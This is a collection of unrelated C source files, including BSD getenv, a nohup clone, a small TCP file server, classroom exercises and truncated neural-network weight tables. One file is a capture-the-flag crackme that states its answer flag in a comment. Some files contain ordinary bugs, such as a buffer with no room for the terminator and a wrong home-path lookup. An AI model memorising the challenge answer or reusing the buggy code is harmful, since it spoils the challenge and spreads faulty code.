the_stack_data/96922.c
|
/*
* Copyright (c) 1987 Regents of the University of California.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#if defined(LIBC_SCCS) && !defined(lint)
static char sccsid[] = "@(#)getenv.c 5.8 (Berkeley) 2/23/91";
#endif /* LIBC_SCCS and not lint */
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
/*
* getenv --
* Returns ptr to value associated with name, if any, else NULL.
*/
char *
getenv(name)
const char *name;
{
int offset;
char *_findenv();
return(_findenv(name, &offset));
}
/*
* _findenv --
* Returns pointer to value associated with name, if any, else NULL.
* Sets offset to be the offset of the name/value combination in the
* environmental array, for use by setenv(3) and unsetenv(3).
* Explicitly removes '=' in argument name.
*
* This routine *should* be a static; don't use it.
*/
char *
_findenv(name, offset)
register char *name;
int *offset;
{
extern char **environ;
register int len;
register char **P, *C;
for (C = name, len = 0; *C && *C != '='; ++C, ++len);
for (P = environ; *P; ++P)
if (!strncmp(*P, name, len))
if (*(C = *P + len) == '=') {
*offset = P - environ;
return(++C);
}
return(NULL);
}
|
the_stack_data/39160.c
|
extern int f(int x);
double g(int x) { return 3.14 * f(x); }
|
the_stack_data/417842.c
|
#include <stdio.h>
int main(void){
double valor;
scanf("%lf", &valor);
if (0 <= valor && valor <= 25) {
printf("Intervalo [0,25]\n");
} else if (25 < valor && valor <= 50) {
printf("Intervalo (25,50]\n");
} else if (50 < valor && valor <= 75) {
printf("Intervalo (50,75]\n");
} else if (75 < valor && valor <= 100) {
printf("Intervalo (75,100]\n");
} else {
printf("Fora de intervalo\n");
}
return 0;
}
|
the_stack_data/87636856.c
|
#define _XOPEN_SOURCE 500
#include <sys/types.h>
#include <fcntl.h>
#include <pwd.h>
#include <signal.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
static struct {
const char *argv0;
} opt;
static void block_hup(void)
{
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGHUP);
if (sigprocmask(SIG_BLOCK, &set, NULL)) {
fprintf(stderr, "%s: unable to block SIGHUP: %s\n",
opt.argv0, strerror(errno));
exit(1);
}
}
/*
* Open "nohup.out", and if that fails,
* try "$HOME/nohup.out".
*/
static int open_nohup(void)
{
const struct passwd *pwd;
char *path;
int fd;
fd = open("nohup.out", O_CREAT | O_APPEND | O_WRONLY, 0600);
if (fd >= 0)
return fd;
pwd = getpwuid(geteuid());
path = malloc(strlen(pwd->pw_name) + strlen("/nohup.out") + 1);
if (!path) {
fprintf(stderr, "%s: unable to allocate buffer for path: %s\n",
opt.argv0, strerror(errno));
exit(1);
}
sprintf(path, "%s/nohup.out", pwd->pw_name);
fd = open(path, O_CREAT | O_APPEND | O_WRONLY, 0600);
if (fd < 0) {
fprintf(stderr, "%s: unable to open 'nohup.out': %s\n",
opt.argv0, strerror(errno));
exit(1);
}
free(path);
return fd;
}
/* Usage: nohup COMMAND [ARG]... */
int main(int argc, char *argv[])
{
if (argc < 2) {
fprintf(stderr, "usage: %s COMMAND [ARG]...\n", argv[0]);
return 1;
}
opt.argv0 = argv[0];
puts("ignoring input and appending output to 'nohup.out'");
block_hup();
if (isatty(STDIN_FILENO)) {
int fd;
fd = open("/dev/null", O_RDONLY);
if (fd < 0) {
fprintf(stderr, "%s: unable to open null file: %s\n",
argv[0], strerror(errno));
exit(1);
}
if (dup2(fd, STDIN_FILENO) < 0) {
fprintf(stderr, "%s: unable to overwrite stdin: %s\n",
argv[0], strerror(errno));
exit(1);
}
close(fd);
}
if (isatty(STDOUT_FILENO)) {
int fd;
fd = open_nohup();
if (dup2(fd, STDOUT_FILENO) < 0) {
fprintf(stderr, "%s: unable to overwrite stdout: %s\n",
argv[0], strerror(errno));
return 1;
}
close(fd);
}
if (isatty(STDERR_FILENO)) {
if (dup2(STDOUT_FILENO, STDERR_FILENO) < 0) {
fprintf(stderr, "%s: unable to overwrite stderr: %s\n",
argv[0], strerror(errno));
return 1;
}
}
/* Execute program */
execvp(argv[1], &argv[1]);
fprintf(stderr, "%s: %s: unable to exec: %s\n",
argv[0], argv[1], strerror(errno));
return 1;
}
|
the_stack_data/53671.c
|
#include<sys/socket.h>
#include<sys/types.h>
#include<netdb.h>
#include<stdio.h>
#include<string.h>
#include<arpa/inet.h>
#include<unistd.h>
#include<stdlib.h>
#include<netinet/in.h>
#include<errno.h>
#include<fcntl.h>
#define PORT "10001"
#define BACKLOG 10
#define FILEBUF_SIZE 10000
void* get_in_addr(struct sockaddr* sa){
if(sa->sa_family==AF_INET){
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int sendFile(int socketfd, int clientfd, char* filename){
char fileBuf[FILEBUF_SIZE];
if(!fork()){
close(socketfd);
int filefd = open(filename,O_RDONLY);
if(filefd==-1){
fprintf(stderr,"Failed to open the file");
return -1;
}
if(read(filefd,fileBuf,sizeof(fileBuf))==-1){
perror("read");
return -1;
}
if(send(clientfd,fileBuf,sizeof(fileBuf),0)==-1){
perror("send");
}
close(clientfd);
exit(0);
}
}
int main(){
int socketfd,status,yes=1,clientfd;
struct addrinfo addrStruct,*serverInfo,*p;
struct sockaddr_storage client_addr;
socklen_t sin_size;
memset(&addrStruct,0,sizeof(addrStruct));
addrStruct.ai_family = AF_UNSPEC;
addrStruct.ai_socktype = SOCK_STREAM;
addrStruct.ai_flags = AI_PASSIVE;
char ipstr[INET6_ADDRSTRLEN];
status = getaddrinfo(NULL,PORT,&addrStruct,&serverInfo);
if(status!=0){
printf("%s\n",gai_strerror(status));
return 1;
}
for(p=serverInfo;p!=NULL;p=p->ai_next){
socketfd = socket(p->ai_family,p->ai_socktype,p->ai_protocol);
if(socketfd==-1){
perror("server: socket");
continue;
}
if(setsockopt(socketfd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int))==-1){
perror("setsockopt");
exit(1);
}
if(bind(socketfd,p->ai_addr,p->ai_addrlen)==-1){
close(socketfd);
perror("server: bind");
continue;
}
break;
}
freeaddrinfo(serverInfo);
if(p==NULL){
fprintf(stderr,"server: failed to bind");
exit(1);
}
if(listen(socketfd,BACKLOG)==-1){
perror("listen");
exit(1);
}
puts("Server waiting for connections..");
while(1){
sin_size = sizeof(client_addr);
clientfd = accept(socketfd,(struct sockaddr*)&client_addr,&sin_size);
if(clientfd==-1){
perror("accept");
continue;
}
inet_ntop(client_addr.ss_family,get_in_addr((struct sockaddr*)&client_addr),ipstr,sizeof(ipstr));
printf("Server got connection from %s\n",ipstr);
if(sendFile(socketfd,clientfd,"dummy.txt")==-1){
perror("sendfile");
close(clientfd);
continue;
};
close(clientfd);
}
return 0;
}
|
the_stack_data/74137.c
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main() {
int n;
printf ("Ingrese el numero de asteriscos a mostrar:");
scanf("%d", &n);
char* p = (char*)malloc(n*sizeof(char));
for(int i=0;i<n;i++) {
strcpy(&p[i], "*");
}
printf("%s\n", p);
free(p);
return 0;
}
|
the_stack_data/179830072.c
|
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// FLAG{rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d}
void incorrect()
{
puts("Incorrect");
exit(0);
}
int check_length(const unsigned char *input)
{
if (strlen(input) == 54)
{
return 0;
}
else
{
return 1;
}
}
int check_first(const unsigned char *input)
{
if (strncmp(input, "FLAG{", 5) == 0)
{
return 0;
}
else
{
return 1;
}
}
int check_end(const unsigned char *input)
{
if (strcmp(&input[53], "}") == 0)
{
return 0;
}
else
{
return 1;
}
}
int check_flag(const unsigned char *flag)
{
int check = 0;
int res[48] = {1673648587, 943659954, 1091034512, 881074101, 1052636472, 827741573, 1307510110, 469625721, 605130745, 656578792, 2059187682, 155607921, 2006560776, 388139424, 1075455395, 969826744, 1458334120, 275718076, 2013020381, 1210625693, 575847095, 1167285708, 1969601946, 1524777152, 552457729, 1194730498, 190971079, 2088110007, 1828156285, 1377985274, 1591816603, 1354321058, 174161412, 535367484, 87911553, 1226797853, 1363109188, 1395421621, 1696423675, 1968239986, 2052000511, 1608127566, 2123847799, 1911077513, 1996266935, 1051819631, 733420610, 1307117554};
int key[48];
srand(19640503);
for (int i = 0; i < 48; i++)
{
key[i] = rand();
}
for (int i = 0; i < 48; i++)
{
if ((flag[i] ^ key[i]) != res[i])
{
check = 1;
}
}
if (check == 0)
{
return 0;
}
else
{
return 1;
}
}
int main(void)
{
char input[54];
char flag[48];
int result;
printf("input flag : ");
scanf("%s", input);
if (check_length(input) != 0)
{
incorrect();
}
if (check_first(input) != 0)
{
incorrect();
}
if (check_end(input) != 0)
{
incorrect();
}
strncpy(flag, input + 5, 48);
if (check_flag(flag) == 0)
{
printf("Correct! Flag is %s\n", input);
return 1;
}
else
{
puts("Incorrect");
}
return 0;
}
|
the_stack_data/888294.c
|
#include<stdio.h>
#include<string.h>
int main()
{
char str1[20] = "Hello";
char str2[20] = "World";
printf("%s\n", strcpy(str2, strcat(str1, str2)));
return 0;
}
|
the_stack_data/150140919.c
|
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <errno.h>
void handler(int sig)
{
printf("Caught SIGINT %d\n", sig);
exit(1);
}
void handler1(int sig)
{
pid_t pid;
while ((pid = waitpid(-1, NULL, 0)) > 0)
printf("waitpid error");
printf("Handler reaped child %d\n", (int)pid);
sleep(2);
return;
}
int main()
{
int i, n;
char buf[1024];
if (signal(SIGCHLD, handler1) == SIG_ERR)
printf("signal error");
for (i = 0; i < 3; i++) {
if (fork() == 0) {
printf("Hello from child %d\n", (int)getpid());
sleep(1);
exit(0);
}
}
if ((n = read(STDIN_FILENO, buf, sizeof(buf))) < 0)
printf("read error");
printf("Parent processing input\n");
while (1) ;
exit(0);
}
|
the_stack_data/655743.c
|
#include <stdint.h>
const int16_t cg_SP_FC1weit[1620] = { // Co,H,W,Ci: (180, 9)
// Out channel 0
-176, -3002, 2110, -633, 1861, 2310, 1096, -1721, -3195,
// Out channel 1
127, -4120, -2290, -1926, 2206, -2735, -251, -1098, 1909,
// Out channel 2
33, 481, -2882, -1240, -4962, -2134, 2468, 3435, 702,
// Out channel 3
-827, 1068, 1194, 1381, -3667, 1064, 1117, 2492, -2361,
// Out channel 4
-157, -1709, 1938, -888, -4564, 1003, 1462, -4104, -501,
// Out channel 5
-185, 5183, -1475, -381, 4098, -251, 2463, -149, -664,
// Out channel 6
52, 1694, -3500, -1981, 4563, -3406, 1179, 236, 215,
// Out channel 7
392, 245, 150, 1509, 2357, 692, 1823, 40, -1978,
// Out channel 8
29, -652, -596, -566, 3532, 4017, 2437, -2296, -1982,
// Out channel 9
-289, 3199, -2364, 590, 4169, 1399, -1819, 2073, 1375,
// Out channel 10
-240, 1787, -2891, 943, -662, -908, 69, 4595, 2440,
// Out channel 11
171, 2114, -2673, 1853, 4331, -42, 2416, 731, 784,
// Out channel 12
-451, -2035, -4, -1785, -2679, 2697, 2919, -4620, 1043,
// Out channel 13
-12, -967, 441, 550, -5108, 909, 2674, 452, -1596,
// Out channel 14
441, -184, -1583, -2165, -699, 2100, -370, -2348, 1882,
// Out channel 15
130, -1836, -166, -455, 1425, -880, -2657, -712, 2795,
// Out channel 16
124, 2380, -2236, 1299, 2244, -2253, 1258, 3335, 158,
// Out channel 17
-69, -1215, -569, 183, 5936, -594, 1333, -65, -359,
// Out channel 18
72, 712, 241, 679, -3741, 3351, 1821, -274, -1825,
// Out channel 19
-96, 2509, 1895, 1618, 302, 68, 601, 1052, -3393,
// Out channel 20
279, -2319, -3132, -1146, 4280, -3453, -233, -754, 2271,
// Out channel 21
119, -2593, 854, -1282, -3622, 463, 2162, -4961, -1569,
// Out channel 22
-275, -2923, -3374, -719, 4083, -2641, 951, -1204, 2598,
// Out channel 23
-268, -1713, 2662, -1352, -2371, 890, -518, -4794, -2138,
// Out channel 24
175, 483, 1745, -1323, -2792, -627, -2819, 1044, -993,
// Out channel 25
86, -331, 2004, -2378, 702, -3100, -2258, -174, -2619,
// Out channel 26
-330, 300, 1688, -723, -5029, 2085, -1805, 3074, -1684,
// Out channel 27
-180, -2699, -2086, -1791, -1739, -1255, 1615, -3716, -297,
// Out channel 28
-172, -3740, 1046, -2668, 2555, -2871, -1855, -1104, 1208,
// Out channel 29
196, 1314, 732, -331, -4794, 2581, 2461, -3404, -2031,
// Out channel 30
-53, -2135, -1207, -1832, 3234, -4436, -840, -1437, 42,
// Out channel 31
-32, -445, 846, -927, 6594, -2226, -2342, -1636, 292,
// Out channel 32
47, 1121, -2642, -445, 2324, 468, -2078, 2426, 1965,
// Out channel 33
-109, 759, -277, -1669, 1764, -2341, 1276, -5206, -782,
// Out channel 34
20, -66, 685, 648, -97, 107, 2640, -1843, -1367,
// Out channel 35
101, 499, -3169, -333, 781, -1585, 2868, 1813, 1758,
// Out channel 36
59, -5115, 2136, -389, 5392, -600, -481, -77, -1861,
// Out channel 37
104, 2025, -1797, 385, 3768, 67, -2493, 3696, 1355,
// Out channel 38
154, -593, 2844, 1646, -3403, 2399, -2294, 2183, -1268,
// Out channel 39
241, 4754, -1301, -578, 4362, 905, 940, -803, -2458,
// Out channel 40
158, 1536, 353, 3048, 1999, 1921, -18, 1799, 789,
// Out channel 41
123, -3717, 4324, 789, 1009, 1078, -189, -592, -350,
// Out channel 42
-319, -4268, 81, -828, 4459, -4334, -2214, 140, -588,
// Out channel 43
84, -4219, -33, -923, -1760, -2128, -1198, -3017, -695,
// Out channel 44
-623, 1710, 1868, 740, 656, -1345, 665, 1834, -3166,
// Out channel 45
-288, -4373, 746, -950, -1850, -514, 1311, -1215, 2249,
// Out channel 46
-305, 2098, 193, 1897, -869, -2577, 406, -16, -1509,
// Out channel 47
-1004, -2701, 495, 414, -2140, 3392, 1300, -1114, -34,
// Out channel 48
-169, 3526, -2964, 1167, 2804, -1764, 2774, 2017, 100,
// Out channel 49
-191, -1978, 3363, -1572, -3225, 617, -3097, -1076, -782,
// Out channel 50
164, 3593, -3631, -67, -3658, 1517, 2132, -268, 1727,
// Out channel 51
154, 1261, -2405, 1001, -3916, 905, 3054, 4218, 1341,
// Out channel 52
330, 2656, -2372, 1324, 3790, 2114, -1012, 3501, 1096,
// Out channel 53
109, -705, -1467, -114, 5172, -2611, 1572, -3428, 1251,
// Out channel 54
143, -139, -3091, -938, 4705, -760, -1010, 2342, 1652,
// Out channel 55
-113, -3959, 40, 354, 5471, -186, -231, 1809, 1075,
// Out channel 56
758, 2619, 2411, 1060, 984, -345, -676, 2485, -2659,
// Out channel 57
-220, 4866, -2411, 2349, 1487, 3512, -1033, 3283, 1040,
// Out channel 58
349, 1564, -3399, -293, 1693, -3853, -947, 4095, 2060,
// Out channel 59
371, -3157, 3206, 1797, 54, 1012, -3666, -470, 375,
// Out channel 60
144, -39, 1390, -935, -2700, 4102, 2852, -3984, 557,
// Out channel 61
296, -2301, 3106, -1005, 2887, -806, -2295, -3573, -1187,
// Out channel 62
303, -2360, 2716, -578, 798, 1323, 1891, -2544, -1165,
// Out channel 63
-74, 2617, -3302, 631, 4734, 510, 376, 3476, 1652,
// Out channel 64
-341, 1311, 341, -1392, 5083, 566, -1205, -4035, 549,
// Out channel 65
-146, 2097, -4038, -71, -3166, 814, 2736, -473, -661,
// Out channel 66
197, -4157, 3477, 1229, -4594, 2210, -1052, -2699, 73,
// Out channel 67
161, 1805, -1491, -264, 6350, -3653, -1247, 3565, -236,
// Out channel 68
-75, -1677, 2183, -554, -5048, 2136, 1193, -2227, -1492,
// Out channel 69
-892, -287, -1148, 799, 370, 1080, 1873, 1292, -65,
// Out channel 70
-122, 1935, 1370, 1559, 1065, -2543, -916, 3258, -2283,
// Out channel 71
408, 4581, 1576, 1860, -2433, 3299, -563, 3028, -1584,
// Out channel 72
27, 2740, -1057, 1222, 3917, -2776, -2163, 5008, -1409,
// Out channel 73
-111, 1286, 2655, 39, -1397, -2308, 770, 1613, -2478,
// Out channel 74
-177, 3469, -928, 2973, 453, -734, 791, 3766, -1485,
// Out channel 75
-207, 796, 690, -2817, -5092, -1752, -73, -1077, 2135,
// Out channel 76
141, 1712, -115, -1209, 6283, -4039, -1794, 1650, -381,
// Out channel 77
396, 2171, 639, -1097, 465, -4564, -251, -87, -1180,
// Out channel 78
-27, -3002, 1697, -2774, -947, -1211, -285, -3220, -589,
// Out channel 79
63, -2361, 3027, 3200, -1891, 2252, -2361, 1717, 1058,
// Out channel 80
469, 2187, -660, 1417, 2641, 2755, -1439, 3189, 463,
// Out channel 81
20, 2884, 246, 2174, 214, -1809, 522, 4277, -708,
// Out channel 82
-80, -2974, 1262, -746, -4191, -1032, 2907, -3010, -431,
// Out channel 83
373, -1940, -3086, 786, -129, -1252, 2379, 542, 2050,
// Out channel 84
188, -4958, 1388, 63, 4287, -576, -655, 1317, -550,
// Out channel 85
14, 1106, -233, 1036, 3639, -1271, 2025, -3005, 1185,
// Out channel 86
492, 817, 1522, -216, -2276, 856, -3140, 2565, -979,
// Out channel 87
86, -2117, -990, 964, 4983, 613, 1712, -2113, 425,
// Out channel 88
214, 4175, -1327, 627, -4894, -221, 36, -385, 1955,
// Out channel 89
376, -1662, 1273, 427, -2926, 2937, 1801, -929, -2177,
// Out channel 90
365, -4347, -1169, -699, 4596, 955, -1237, -542, 674,
// Out channel 91
-130, -3931, 1550, -558, 3771, -4434, -2639, 708, 290,
// Out channel 92
146, -2414, -946, 536, -6183, -1544, 3070, 2496, 787,
// Out channel 93
123, -1639, 3107, 2306, -2862, 1888, -3884, 3119, 186,
// Out channel 94
514, 1899, -1312, 1544, -5004, 599, 811, 30, 1802,
// Out channel 95
258, -2807, -3633, -273, 2840, 641, 423, -1335, 280,
// Out channel 96
258, -2655, 2352, 162, -4140, 1984, 1369, -4477, -726,
// Out channel 97
739, 2618, -234, -694, -934, -3299, 250, -583, -2016,
// Out channel 98
151, -282, -1780, -2012, 2993, 948, -893, -562, 868,
// Out channel 99
58, -5026, 106, -1726, 3647, -2623, 1142, -1591, 2473,
// Out channel 100
-259, 5250, 783, 1350, -4577, 1778, -1300, 2111, -1727,
// Out channel 101
-110, 1723, -701, 526, -6148, 1895, 262, 4182, -1194,
// Out channel 102
-29, -3548, -1267, -502, 4420, -4907, -1689, 1084, 1485,
// Out channel 103
-452, 357, 841, 223, -300, 3532, -1603, -2821, -1896,
// Out channel 104
-178, -1837, -847, 783, -5616, 1510, 2621, 832, 2323,
// Out channel 105
-234, 1788, -4565, 299, 3696, -1025, 1364, 911, 1024,
// Out channel 106
-94, -984, 1850, 1374, -3806, 2495, 940, -248, -1619,
// Out channel 107
70, 4237, -3568, 1561, 2047, 1984, 365, 3084, 985,
// Out channel 108
331, -142, 371, 1413, 5578, -2500, -1811, 4408, -731,
// Out channel 109
2, -697, 2478, -660, -579, -1265, 2218, -1703, -1910,
// Out channel 110
-139, 1485, -3150, -221, 325, -382, 3733, 1133, 640,
// Out channel 111
-250, 5031, -166, 785, -4419, 471, -88, 1020, 2133,
// Out channel 112
444, -3614, -2696, -307, 1631, 909, 2787, -4721, 2070,
// Out channel 113
263, 1780, 2616, 715, 2729, -2852, -2300, 3365, -2490,
// Out channel 114
-312, -3036, -277, -2141, 141, 860, -46, -2817, 2286,
// Out channel 115
-109, 3931, -1286, -388, 2918, 110, 2412, 1321, -1647,
// Out channel 116
146, -3129, 1686, 2124, 401, -99, -3767, 1239, 866,
// Out channel 117
-103, -852, 2892, -2450, -4438, -1683, 362, -2396, 929,
// Out channel 118
-34, 2395, -2480, 1390, 2642, -1193, 3037, 1525, 749,
// Out channel 119
-72, -1328, 476, -769, -4866, 2256, 2169, -4761, -912,
// Out channel 120
-32, -3996, 2473, 11, -3047, 1411, 1823, -4134, -853,
// Out channel 121
-64, 2234, 3106, 137, 2121, 2242, -1233, 76, -4681,
// Out channel 122
-324, 2029, 3402, -144, -3672, -803, 1102, -452, -1957,
// Out channel 123
-131, -4103, 2244, -1608, -3429, 1374, 1132, -4531, -105,
// Out channel 124
153, -725, 2266, 4, 4659, -1199, -150, 1287, -2373,
// Out channel 125
-145, -1273, 4254, 1615, -3586, 2268, -1579, 442, -1633,
// Out channel 126
-25, -230, 1755, 427, 4754, 1712, -1609, -1904, -333,
// Out channel 127
323, -4577, 2829, 827, -353, -858, -1483, -1281, 1972,
// Out channel 128
183, 2259, -1592, 1075, 2527, 434, -2056, 4848, 1352,
// Out channel 129
79, -1530, 1335, 803, 4935, -31, -1352, 2406, 353,
// Out channel 130
278, -2679, 411, -2760, -964, 1059, -588, -3736, 1315,
// Out channel 131
80, 1229, 936, 2374, 3298, 921, -1828, 3624, 1319,
// Out channel 132
176, -4120, -1319, 392, 3940, -2351, 1094, -830, 656,
// Out channel 133
226, 900, 233, 1145, 564, 1613, -687, 4552, 1233,
// Out channel 134
149, -593, 3034, -829, 2635, -1722, -221, -395, -3925,
// Out channel 135
-226, 4536, -1868, 1102, 2397, 4225, -1517, 3714, 578,
// Out channel 136
-457, -2000, -834, -2459, 181, 1927, -462, -2131, 874,
// Out channel 137
-40, -4637, -841, -333, 4085, -441, -231, 723, 473,
// Out channel 138
-280, -642, -267, -4376, 956, 1173, -458, -1612, 2082,
// Out channel 139
98, 3111, -2560, -1002, 4922, -2308, 606, 2042, -678,
// Out channel 140
-356, -3423, 1924, -2304, -3710, -1948, -917, -3013, -1085,
// Out channel 141
-268, -3157, 124, -3298, -2071, -863, 173, -2223, 1372,
// Out channel 142
-186, 3856, -3317, 2032, -3292, 1045, 665, 1968, 2641,
// Out channel 143
-67, -3028, 2900, -543, -5165, -812, -90, -3522, -756,
// Out channel 144
20, 826, 1235, -200, 867, -2133, 2044, -648, -3186,
// Out channel 145
-152, -2688, 1388, -1394, -3923, 1998, 2409, -5391, -310,
// Out channel 146
146, -1101, -414, 339, 3464, 565, 460, 3429, 1290,
// Out channel 147
-75, 94, 1177, -1092, 7233, -848, -1997, -3448, -843,
// Out channel 148
1, 2433, -696, 1791, 2905, 3968, -2638, 1501, 372,
// Out channel 149
-11, -174, 1364, -1670, -1714, 1096, 1096, -5055, -1460,
// Out channel 150
-82, -492, -2564, -1988, -1208, -296, 3832, -3148, 177,
// Out channel 151
-108, -1618, -771, 386, 3082, 3823, -173, 1662, -1276,
// Out channel 152
-65, 3019, -2419, 72, 4427, -2988, 1231, 2459, -972,
// Out channel 153
58, 4036, -1817, 1250, 3448, -892, -1751, 4607, 221,
// Out channel 154
107, -3341, 2770, -1043, -2034, -1796, -1995, -2235, -1210,
// Out channel 155
54, 795, 1727, 1337, -973, -1209, 2250, -258, -2884,
// Out channel 156
-321, 1980, -2169, 116, 4992, 39, -1174, 3231, 682,
// Out channel 157
-101, 1114, -983, 353, -864, -1309, 2843, 1069, -1732,
// Out channel 158
-212, 4780, -612, 1214, 3689, 2674, -1720, 2858, -37,
// Out channel 159
-9, -1326, 2769, 1056, -2434, 112, 1471, -2106, -2026,
// Out channel 160
98, 1275, -1718, -1636, 4642, -1486, -2499, 1884, 776,
// Out channel 161
-396, -1116, 787, 190, -6143, 1033, -1327, 2185, -422,
// Out channel 162
-131, -782, 3962, 1324, -4594, 3053, -639, -416, -1719,
// Out channel 163
-389, 1903, 939, 1029, 1487, -483, 2103, -908, 477,
// Out channel 164
-284, -3683, 1553, 473, 5373, 184, -785, 1649, -1983,
// Out channel 165
45, -159, -2052, 675, -215, 397, 3215, 893, 2644,
// Out channel 166
156, -1176, 1138, 638, -2686, -1162, -3018, 1858, 885,
// Out channel 167
256, -3998, -647, -1855, -661, -1086, -171, -1764, 2769,
// Out channel 168
-373, -3923, -2737, 224, 2636, -1764, 2349, -2907, 1704,
// Out channel 169
327, -1119, 1939, 1513, -2901, 1612, -3712, 3346, -725,
// Out channel 170
-49, -3844, -709, 466, 244, 2220, 1999, -4479, 2059,
// Out channel 171
23, -1689, 2498, -1103, -4685, -1229, 1234, -2724, -1833,
// Out channel 172
-184, 5671, 701, 929, -4611, 3195, 647, -247, -2563,
// Out channel 173
-500, 1531, -2285, 1799, 960, -1980, 1695, 3583, -544,
// Out channel 174
49, 5544, -3054, 70, -3007, -717, 254, 970, 3055,
// Out channel 175
-163, 1121, -986, -464, -2797, 2725, -1440, -257, 2441,
// Out channel 176
-90, 1724, 3970, -659, -4761, -778, -435, -436, -2203,
// Out channel 177
-171, 3686, 850, 732, 2066, 843, -2659, 504, -2128,
// Out channel 178
-222, -3878, 2194, -277, 2493, -1721, -2106, -2282, 2525,
// Out channel 179
24, -2314, 1827, -1702, -2679, 905, -2593, -1738, -356,
};
const int16_t cg_SP_FC1bias[180] = { // Co,H,W,Ci: (180,)
-747, -3008, -2676, 902, 315, 2268, -3272, 3007, 1944, -671, 293, 3431, 2986, 1482, -1499, -1605, 628, 2983, 2221, 2116, // 20
-2032, -1719, -1424, -2447, -2424, -6057, -914, -5736, -2929, 533, -6231, -1489, -1871, -2894, 1776, 2312, -604, -584, 1504, 418, // 40
5687, 5372, -5109, -7629, 280, 3310, 617, -365, 325, -1632, 37, 3428, 2077, -15, -1509, 803, 2427, 2012, -3202, 308, // 60
6018, -1282, 5012, 1231, 984, -4188, 1475, -1332, 777, 2479, 274, 2743, -3441, 1682, 2268, -1602, -1917, -1496, -2404, 4420, // 80
2731, 2707, 1582, 994, -343, 2321, -1574, 2539, 1243, 1255, -994, -2516, 1011, 1127, 1466, -4793, 1181, -1873, -2235, 3091, // 100
-782, -1059, -4509, -1636, 3224, -1707, 1995, 1495, -157, 2527, 2248, 4298, 61, -952, -1017, 2222, -1004, 1328, 2693, -1579, // 120
2426, 9, 2090, 1612, 740, 2136, 3609, 3343, -222, 2287, -571, 5103, -1184, 5221, 176, 520, -1678, -1807, -1280, -1666, // 140
-4891, -2634, 266, -1322, 797, 1393, 4425, -1788, -138, -2002, -1656, 1095, -2171, -1134, -4258, 2995, 204, 1494, 3048, 2457, // 160
-3231, -2665, 1675, 4546, -1207, 5272, -4411, -2613, -916, -651, 3284, -800, -74, 851, 678, -1284, 1041, -1656, 1803, -2700, // 180
};
const int16_t cg_SP_FC2weit[18000] = { // Co,H,W,Ci: (100, 180)
// Out channel 0
-373, 960, -1010, -312, 416, -1620, -2486, -452, 115, 729, -884, -1399, 1843, -570, -139, 454, -3997, -427, 380, -119, // 20
870, 807, 241, 2051, 1576, -119, -107, -252, 387, 353, -254, 217, -271, -128, -1344, -1311, 283, -44, 572, -961, // 40
-1082, 460, 223, 1561, -1220, -716, -95, -418, -6158, 2586, -499, -615, 260, -539, -535, -109, -414, -588, -1308, 1607, // 60
2520, 1869, 201, -55, 160, -1050, 4048, -1794, 175, -837, 142, -634, -2237, -481, -1050, -15, -335, 34, 563, 1103, // 80
498, -1287, -43, -295, -470, -571, 837, 157, 452, 0, 701, -143, -765, 2198, -105, 818, 1463, -153, 481, 500, // 100
-246, -919, -1102, 1206, 39, -420, -846, 268, -1148, 360, -1895, -339, 1095, -1004, 200, -606, 1898, -132, -4014, 1349, // 120
715, 444, -504, 2117, -368, 729, 1501, 1528, -273, -55, 527, -245, -479, -531, -50, -286, 201, -209, 109, -2339, // 140
363, 464, -779, 438, 98, 1488, -378, 695, 883, 874, -225, -29, -4821, -1498, 1709, -316, -228, -982, 272, -237, // 160
181, -30, 126, -1315, 38, -221, -330, 451, -913, 1402, 652, -220, 440, -909, -194, -161, 18, 155, 878, 3278, // 180
// Out channel 1
-1671, 202, -961, 33, 1054, -444, 583, -704, -1331, 175, -61, -489, 512, -646, 475, 706, -1008, -481, -390, -53, // 200
591, 386, 348, 695, 395, 959, -56, 610, 513, -336, -155, 407, 310, 587, -53, 387, -2874, -359, -37, -549, // 220
-390, -185, 133, 232, -65, -182, 590, -893, -695, 507, 89, -534, -524, 1, 217, -1960, 16, -1024, 437, 737, // 240
-36, 1194, 74, -523, 806, -1011, 766, -565, 494, -379, -275, -1031, -91, 368, -379, 958, -361, 1188, 236, 408, // 260
-1153, -9, 821, -158, -2879, -213, 109, -1013, 3297, -588, -544, -31, -599, -128, 392, -831, 209, 242, -565, 124, // 280
146, -284, 265, 834, -237, -237, -492, -530, -513, 186, -657, 3235, -181, -86, -90, -115, 176, 519, -685, 457, // 300
